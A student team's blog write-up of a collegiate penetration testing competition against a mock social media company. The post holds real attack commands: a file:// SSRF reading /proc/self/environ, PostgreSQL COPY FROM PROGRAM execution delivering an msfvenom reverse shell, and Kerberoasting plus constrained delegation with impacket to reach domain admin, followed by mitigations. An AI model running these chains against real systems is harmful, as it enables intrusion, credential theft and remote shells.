In January 2025, Bugcrowd proudly supported one of the world’s top collegiate pen testing teams from UMass Amherst – UMass Cybersecurity Club CPTC. UMass Amherst is one of the top 12 universities to reach the Global Finals of the Collegiate Pentesting Competition!
The competition consisted of the Bugcrowd sponsored team and many other teams finding vulnerabilities on a mock social media company. They also delivered a 90+ page report, and gave an executive presentation displaying their findings and strategy.
Collegiate Penetration Testing Competition (CPTC) is a competition focused on mimicking real-world penetration testing assessments for a mock company. Each team finds and exploits vulnerabilities on the company networks and presents a penetration testing report at the end of the competition. During the competition, each team will also face real-world challenges and situations from various mock company employees. The mission of CPTC is to “address the cybersecurity skills gap by educating college students in technology, communication, and collaboration”.
Read on to learn about the students POV experience and what they learned along the way.
On Friday January 17th, we drove about 6 hours from Massachusetts to Rochester, New York, arriving at RIT Inn & Conference Center for check-in.
Shoutout Tsingtao House in Rochester 🔥🔥🔥🔥Very delicious Chinese food!
On Saturday, competition lasted from 9:30 AM to 5 PM, followed by a banquet and a career fair. Afterwards, our team started working on our report with music in the background.
We were able to meet plenty of amazing people and companies during the banquet and celebrate the 10th anniversary of CPTC.
On Sunday, competition lasted a bit longer, ending at 6 PM. After the competition officially ended, our team worked on finishing our report and preparing for the presentation.
On Monday, which was our last day, we presented our findings to mock executive members of the company. We also listened to an amazing talk by Ellis Springe from IBM about moving forward in offensive security and learned all the detail that goes on behind the scenes of the competition from staff members.
Throughout the competition, we gained many valuable lessons, such as how communication, networking, and report writing skills are just as important as technical skills in cybersecurity. In the cybersecurity industry, many careers will involve working with people in various business areas or levels of expertise in security. These include software engineers, IT workers, and non-technical business managers and executives.
Therefore, it is essential to practice these skills along with professionalism for both the competition and in the real-world, even if you do not become a pen tester.
We will end by summarizing the key lessons we learned from the CPTC Globals experience:
Our client, OuiCroissant, asked us to test both their internal networks and their flagship web application, Y (previously named Flakebook).The scope consisted of 2 subnets, 10.0.1.0/24 (Corporate Network) and 10.0.2.0/24 (Developer Network), and one domain, yyy.chat.
During the behind-the-scenes revelation, the developer team of CPTC10 discussed gaining inspiration from friends who work in the social media industry. They set up the environment in an attempt to mimic the real-world as much as possible, thus leading to heavy usage of microservices and containers.
In the Active Directory environment, there was one domain controller (10.0.1.6), one exchange server (10.0.1.7), and two workstations (10.0.2.100 and 10.0.2.104).
The Y web app ran on 10.0.1.5, and there was an admin panel on 10.0.2.5.
On 10.0.2.250, there was a port open running a custom golang interpreter. (https://github.com/ouitaytay/golash).
In the Y web app, you could create an account and log in to make public posts, comment and react to other people’s posts, and customize your profile picture.
In the Y admin panel, once logged in, you could ban and edit Y users’ information.
During the engagement, we were given access to Y at yyy.chat, and were able to find an exploit chain from a normal social media account user. This lead to having a shell on the postgres container which held all of the user data.
In the Y app, there’s a feature that allows users to change their profile picture to both local and remote images. While the local image upload doesn’t seem to have anything too interesting, the remote file upload smelled a bit fishy.
We first verified that the remote file worked normally by copying the link to the Y logo, and then we tried fiddling around with the individual requests in Burpsuite. It was clear that only one request was made, so we tried fiddling around with the remote URL (the local pfp upload uses 2 requests, first uploading the image to get the id and then making another request to associate the id with the user). We quickly got an error in the http response:
```
error: URL must start with file://, http://, or https://
Hold up, what is file:// doing here? Let’s first try sending file:///etc/passwd to see if it actually works.
file://
file:///etc/passwd
It works! Now all we need to do is just retrieve the file by downloading the profile picture.
Now to actually utilize the vulnerability: let’s download file:///proc/self/environ.
file:///proc/self/environ
And now we have everything we need to sign in to the postgres server handed to us on a silver platter. Let’s log in!
There’s some pretty sensitive data in here, including but not limited to: usernames, names, emails, DoBs, valid auth JWTs, hashed passwords, TOTP secrets, and even bios, which wasn’t implemented anywhere in Y.
That’s cool, but we can definitely go further with a postgres user. We first verified that we could run commands from postgres using this guide from hacktricks:
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
However, when we tried to run a reverse shell instead of id, the child process always exited with status code 2, and we didn’t get a connection. We suspected that using redirects to /dev/tcp straight from postgres was doing some weird stuff, so we turned the reverse shell into an executable. We also found that the target machine was very barebone (no curl or wget that would present an efficient way to transfer the payload onto the target machine), so we base64 encoded the payload and echoed it onto the target machine. Good thing we were able to base64 decode the payload on the target machine. We then executed the reverse shell and obtained remote code execution.
id
/dev/tcp
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker IP> LPORT=<listener
port> -f elf | base64 -w0 > revshell
# on postgres server
COPY cmd_exec FROM PROGRAM ' echo "<contents of base64 revshell>" > /tmp/rev ';
COPY cmd_exec FROM PROGRAM ' base64 -d /tmp/rev > /tmp/rev2 ';
COPY cmd_exec FROM PROGRAM ' chmod +x /tmp/rev2 ';
COPY cmd_exec FROM PROGRAM ' /tmp/rev2 ';
There were multiple things that went wrong in order for this chain to work. Some notable points that could prevent an attacker from being able to gain access to the postgres container are as follows:
pg_execute_server_program
CREATEROLE
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-postgresql.html
https://www.enterprisedb.com/blog/how-to-secure-postgresql-security-hardening-best-practices-checklist-tips-encryption-authentication-vulnerabilities
In OuiCroissants’ Active Directory network, our team was able to compromise the entire domain through Kerberoasting and Constrained Delegation attacks. Here, we’ll demonstrate how we were able to abuse these two attack vectors to escalate privileges from a domain user service account to domain admin.
Using any domain user, we can request Kerberos ticket granting service (TGS) tickets for the service accounts and extract the password hashes from memory.
We successfully extracted and cracked the password hash of service account FlakeBook_SSPR by running the following commands:
impacket-GetUserSPNs -request -dc-ip 10.0.1.6 -outputfile hashes.kerberoast
oui.local/domain_user
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt --force
We then confirmed the credentials using netexec.
Next, using bloodhound we found that FlakeBook_SSPR can impersonate any user and obtain access on their behalf. This leads to privilege escalation by leveraging AllowedToDelegate permissions on cifs\FLAKEAD (constrained delegation attack).
FlakeBook_SSPR
AllowedToDelegate permissions on cifs\FLAKEAD
We leveraged this misconfiguration to impersonate the domain administrator, thus compromising the entire domain. We achieved this by first creating a forged ticket-granting ticket (TGT) with FlakeBook_SSPR’s password hash to impersonate the user Administrator for the CIFS service. Next, we conducted a Pass the Ticket attack by using impacket’s psexec tool to access the C$ admin share on the domain controller.
python3 getST.py -spn “cifs/flakead” -impersonate “administrator”
“oui.local/FlakeBook_SSPR:______” -altservice “host/FLAKEAD.oui.local”
export KRB5CCNAME=administrator@host_FLAKEAD.oui.local@OUI.LOCAL.ccache
impacket-psexec -k -no-pass oui.local/Administrator@FLAKEAD.oui.local
The two misconfigurations demonstrated in this blog were abused to escalate privileges from a normal domain user to domain admin, showing the danger of security misconfigurations in an Active Directory network. However, there are mitigations for both misconfigurations.
To mitigate Constrained Delegation attacks, utilize Resource-Based Constrained Delegation where there is a more restrictive mapping of permissions. This works because services are delegating permissions instead of users. Furthermore, it’s possible to specify which accounts cannot be delegated and restrict this attack from high privilegeaccounts, such as Administrator. This can be achieved by going to Active Directory Users and Computers -> going to the account tab of a specific user -> checking “Account is sensitive and cannot be delegated”.